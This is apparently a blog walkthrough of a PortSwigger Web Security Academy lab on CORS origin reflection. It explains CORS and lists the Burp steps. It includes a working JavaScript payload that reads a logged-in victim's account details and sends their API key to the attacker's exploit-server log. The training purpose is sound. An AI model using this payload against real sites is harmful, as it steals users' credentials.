CORS Vulnerability with Origin Reflection

It’s time to get back to the labs on PortSwigger Web Security Academy. For this lab, we’re dealing with a CORS vulnerability with Origin reflection. We’re dealing with Same-Origin Policy and Cross-Origin. Here’s a few reference links for additional content:

Labs

What is CORS?

Cross-Origin Resource Sharing (CORS) is a security mechanism built into and enforced by web browsers that allows a server to specify which origins (domains) are permitted to access its resources. For example, https://api.jhgfdsa.com would most likely have an Access-Control-Allow-Origin header to allow other domains to call the hosted APIs. Since this is the API subdomain, it might return CORS headers like this on a request:

Access-Control-Allow-Origin: https://jhgfdsa.com
Access-Control-Allow-Credentials: true

CORS is implemented through HTTP headers such as Access-Control-Allow-Origin and controls cross-origin requests made by web applications using JavaScript. In the case above, the parent domain (https://jhgfdsa.com) is allowed to access the APIs on https://api.jhgfdsa.com if responses from the subdomain contain the headers above. CORS helps prevent unauthorized access to sensitive data while enabling secure resource sharing between trusted origins.

Lab: https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack

Lab: CORS vulnerability with basic origin reflection

This particular lab deals with improper CORS headers in that the Access-Control-Allow-Origin does reflection. Why would this header ever be reflected? Might have been part of a dev with the intent to go back and fix. Might just be a misunderstanding on how CORS works. Regardless, if there is reflection then the CORS policy is essentially moot.

Let’s get to the lab!

Step 1: Fire up Burp and Navigate to the site via Burp’s built in Chromium Browser:

Portswigger Web Security Academy lab on CORS vulnerability with basic origin reflection

Step 2: Log into My account with the provided creds – this drops us on a page with our own API key

logged in account page for the test user

Step 3: Let’s look in Burp proxy log for the Account Details call:

results of the call to /accountDetails for the test user

We can see the Access-Control-Credentials header, but not the Access-Control-Allow-Origin header. Let’s see if we can get Origin reflection (based on the name of the lab).

Step 4: Test reflection by providing an origin header as part of the request. Sent to repeater, add Origin and send:

Burp showing origin header in request being reflected in Access-Control-Allow-Origin header response

This is crazy! This is definitely not a best practice and definitely something to be avoided. This means we can bypass Same-Origin policy simply by providing the Origin header in the request.

Step 5: On to the exploit server. Essentially, we need

  • A fetch to the /accountDetails endpoint
    • With an origin header (as seen above) pointed at wherever I can log (exploit server)
    • With credentials included (because /accountDetails is an authenticated endpoint)
  • Harvest the response (which the reflect CORS allows)
  • Send the apiKey part of that response to my log
<script>
fetch('https://<lab>.web-security-academy.net/accountDetails', {
  method: 'GET',
  credentials: 'include',
  headers: {
    'Origin': 'https://exploit-<exploit>.exploit-server.net'
  }
})
  .then(response => response.json())
  .then(data => {
    const apiKey = data.apikey;
    fetch(`https://exploit-<exploit>.exploit-server.net/log?apiKey=${apiKey}`);
  });
</script>
payload in the exploit server showing the buttons for store, view exploit, deliver exploit to victim, and access log

Store the response

Step 6: Test on myself. All we have to do is click View exploit:

shows the apiKey for the test user in the log

There’s my apiKey!

Step 7: Deliver exploit to victim and then refresh the log:

shows the apiKey for the victim user in the log

And there it is!

Step 8: Submit – solved!

screenshot of the solved widget from the lab

Conclusion

When doing bug bounty, checking for something like reflection is very easy. All we had to do was to provide the Origin header in this case to see the reflection. Always watch for if different headers that can be provided client side cause different outputs in the response. In this case, the difference was easy to spot.

A properly configured CORS policy along with a solid CSP can go a long ways towards minimizing a website’s attack surface.

Happy Hacking!

Leave a Reply